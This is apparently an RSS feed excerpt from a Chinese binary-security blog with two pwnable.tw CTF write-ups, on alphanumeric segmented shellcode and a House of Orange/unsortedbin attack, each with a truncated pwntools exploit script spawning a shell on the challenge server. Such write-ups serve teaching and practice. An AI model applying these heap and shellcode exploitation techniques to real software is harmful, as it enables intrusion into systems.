赤道企鹅的博客 | Eqqie Blog - 2020年11月
type: channel
link: https://eqqie.cn/index.php/2020/11/
description: Binary Security Researcher, IoT/NFV Sec, Static Program Analysis, Fuzzing Test, CTFer
items: [pwnable.tw] Alive Note - 构造分段alpha_shellcode
items: [pwnable.tw] bookwrite - no free条件House_of_Orange + unsortedbin_attack

[pwnable.tw] Alive Note - 构造分段alpha_shellcode
type: item
date: 2020-11-10T18:36:00+08:00
description: 漏洞利用程序Heap内存区域有执行权限，并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存，从而执行自定义shellcode。但是堆块输入限制非常大，只有8个字节，而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。为了简化利用，先构造调用SYS_read的shellcoed，然后借助它往堆上读执行execve("/bin/sh", NULL, NULL)的系统调用来getshell。主要难点 构造为全为大小写字母或数字的shellcode，这个思路网上很多，主要都是利用push, pop, xor, dec, jne之类的指令进行构造（注意xor的时候一般使用al寄存器） 使用jne指令连接多个块，jne的操作数是相对值，即目标指令相对于下一条指令的偏移，所以要考虑好两段shellcode中间间隔堆块的数量以便操作数在合法范围内。 通过减法+异或构造出int 0x80指令（技巧性很强）。 EXPfrom pwn import * #p = process("./alive_note") p = remote("chall.pwnable.tw", 10300) elf = ELF("./alive_note") context.log_level = "debug" context.arch = "i386" free_offset = -27 #free reg info ''' EAX 0x804b018 ◂— 'bbbb' (free arg) EBX 0x0 ECX 0x0 EDX 0x0 EDI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ ESI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ EBP 0xffffcee8 —▸ 0xffffcef8 ◂— 0x0 ESP 0xffffcebc —▸ 0x80488ef (del_note+81) ◂— add esp, 0x10 EIP 0x804b008 ◂— 'aaaa' (code) ''' def get_alpha_shellcode(raw): with open("./alpha3/raw.in", "wb") as r: r.write(asm(raw)) os.system('cd alpha3;python ALPHA3.py x86 ascii rax --input="raw.in" > alpha.out') res = b"" with open("./alpha3/alpha.out", "rb") as a: res = a.read() return res def add(idx:int, name): p.recvuntil(b"Your choice :") p.sendline(b"1") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) p.recvuntil(b"Name :") p.sendline(name) def show(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"2") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def delete(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"3") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def chunk_pad(num): for i in range(num): add(10, b"aaaaaaa") def exp(): #build shellcode ## call SYS_read to read execve shellcode ### PYjzZu9 part1 = ''' push eax pop ecx push 0x7a pop edx ''' part1 = asm(part1) + b"\x75\x39" add(-27, part1) chunk_pad(3) ### SXH0AAu8 part2 = ''' push ebx pop eax dec eax xor BYTE PTR [ecx+0x41], al ''' part2 = asm(part2) + b"\x75\x38" add(0, par…

[pwnable.tw] bookwrite - no free条件House_of_Orange + unsortedbin_attack
type: item
date: 2020-11-08T04:21:00+08:00
description: 思路： Autor未设置截断导致heap泄露，strlen重设长度时包含下一个chunk的size导致溢出; 进行house of orange释放原先的topchunk进入unsortedbin（进入过程可以借助scanf中malloc分配缓冲区来完成），以此可以泄露libc; （关键）unsortedbin attack攻击IO_list_all，使其的指针指向main_arena+0x58，然后以此为IO_FILE结构体，再通过struct _IO_FILE *_chain域指向堆上的unsortedbin位置; 只要提前在unsortedbin位置伪造好IO_FILE结构体和vtable就可以借助_IO_flush_all_lockp（在触发malloc_printerr时会被调用）调用system("/bin/sh\x00")来getshell. 分析历程这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack修改掉IO_list_all之后如何构造struct _IO_FILE *_chain指向堆上我们伪造的结构。分析发现如果把main_arena+0x58看作结构体，则对应smallbin[4]（0x60）的索引位置，也就是只要有一个0x60的smallbin被free就可以构成链表。但是想了很久还是不明白如何让unsortedbin进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin进行分割前，其中一个判断条件要满足的是：bck == unsorted_chunks (av)，而bck = victim->bk 。换句话说，只要unsorted chunk中的bk指针被修改掉之后，一定不会满足这个判断，也就一定不会进入分割unsorted chunk的过程。如果我们提前借助堆溢出修改unsorted chunk大小为0x61，则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk置入smallbin的分支过程，这一举动刚好使得smallbin[4]（0x60）的索引位置出现了原先unsorted chunk的指针。加上一定的构造之后（相关限制条件可以看ctfwiki）就可以通过触发报错拿shell了。总结一下就是：在bk指针被破坏之后，原本可能发生的unsorted chunk分割条件无法满足，而是直接把整个unsorted chunk置入smallbin对应位置（注意不是fastbin，不能只看大小，要看程序流）。这些细节勿略掉可能会在很浅显的地方翻车。EXP:from pwn import * #p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"}) p = remote("chall.pwnable.tw", 10304) elf = ELF("./bookwriter") libc = ELF("./libc_64.so.6") context.log_level = "debug" def send_choice(idx:int): p.recvuntil(b"Your choice :") p.sendline(str(idx).encode()) def add(size, content): send_choice(1) p.recvuntil(b"Size of page :") p.sendline(str(size).encode()) p.recvuntil(b"Content :") p.send(content) def view(idx:int): send_choice(2) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) def edit(idx:int, content): send_choice(3) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) p.recvuntil(b"Content:") p.send(content) def info(new_author=None): send_choice(4) p.recvuntil(b"(yes:1 / no:0)") if new_author != None: p.sendline(b"1") p.recvuntil(b"Author :") p.send(new_author) else: p.sendline(b"0") def go_exit(): send_choice(5) def exp(): # const bss…